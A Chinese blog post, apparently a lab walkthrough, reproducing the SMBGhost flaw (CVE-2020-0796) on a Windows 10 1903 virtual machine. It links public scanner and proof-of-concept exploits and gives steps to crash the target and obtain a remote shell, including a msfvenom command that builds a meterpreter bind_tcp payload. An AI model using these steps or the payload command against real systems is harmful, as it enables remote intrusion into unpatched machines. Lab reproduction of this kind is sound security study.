CVE-2020-0796(永恒之黑)漏洞复现


CVE-2020-0796(永恒之黑)

漏洞原理

SMB远程代码执行漏洞

SMB 3.1.1协议中处理压缩消息时,对其中数据没有经过安全检查,直接使用会引发内存破坏漏洞,可能被攻击者利用远程执行任意代码。攻击者利用该漏洞无需权限即可实现远程代码执行,受黑客攻击的目标系统只需要开机在线就有可能被入侵

Windows 10和Windows Server 2016引入了SMB 3.1.1,本次漏洞源于SMBv3没有正确处理压缩的数据包,在解压数据包的时候使用客户端传过来的长度进行解压时,并没有检查长度是否合法,最终导致整数溢出

利用该漏洞,黑客可直接远程攻击SMB服务端远程执行恶意代码,也可以通过构建恶意SMB服务端诱导客户端连接从而大规模攻击客户端

影响版本

Windows 10 Version 1903 for 32-bit Systems
Windows 10 Version 1903 for x64-based Systems
Windows 10 Version 1903 for ARM64-based Systems
Windows Server, Version 1903 (Server Core installation)
Windows 10 Version 1909 for 32-bit Systems
Windows 10 Version 1909 for x64-based Systems
Windows 10 Version 1909 for ARM64-based Systems
Windows Server, Version 1909 (Server Core installation)

漏洞复现工具下载

漏洞检测工具:http://dl.qianxin.com/skylar6/CVE-2020-0796-Scanner.zip

攻击poc:https://github.com/eerykitty/CVE-2020-0796-PoC

shell脚本:https://github.com/chompie1337/SMBGhost_RCE_PoC

蓝屏复现

环境

目标机:Windows 10 1903     ip: 10.7.1.111(虚拟机)
攻击机:Windows 10 20H2        ip: 10.7.6.254(物理机)
  1. 将目标机的防火墙关闭
  2. 在攻击机上对目标机进行检测,看其是否存在漏洞。

image-20210224165146258

image-20210224165221346

  1. 利用下载的poc脚本发起攻击

image-20210224165539611

image-20210224165647306

反弹shell

环境

目标机:Windows 10 1903     ip: 10.7.1.111(虚拟机)
攻击机:Windows 10 20H2        ip: 10.7.6.254(物理机)
  1. 生成一个反弹木马
msfvenom -p windows/x64/meterpreter/bind_tcp LPORT=8888 -b '\x00' -i 1 -f python

   说明: 
   #-p payload
   #-e 编码方式
   #-i 编码次数
   #-b 过滤坏字符
   #LHOST,LPORT 监听上线的主机IP和端口
   #-f python 生成python格式
   #‘\x00‘转义字符,对应ascall码中为null,因为是二进制文件所以会出现,在python中作为结束的标志,有点相当于%00截断的感觉。

image-20210224170157500

  1. 用生成的shellcode将shell脚本工具里面的exploit.py中的user_payload替换掉。保留前面的名字,只替换内容

image-20210224170414954

image-20210224170436001

  1. 开启msf监听模块

image-20210224170630883

  1. 运行exploit.py脚本,发起攻击反弹shell

image-20210224171104264

image-20210224171704173

image-20210224171715265

这个脚本有点问题,要多试几次才能得到shell,不用着急。这个脚本有时候会把靶机打蓝屏,重启一下靶机就好了,继续执行脚本知道得到shell。


文章作者: Sheng
版权声明: 本博客所有文章除特別声明外,均采用 CC BY 4.0 许可协议。转载请注明来源 Sheng !
  目录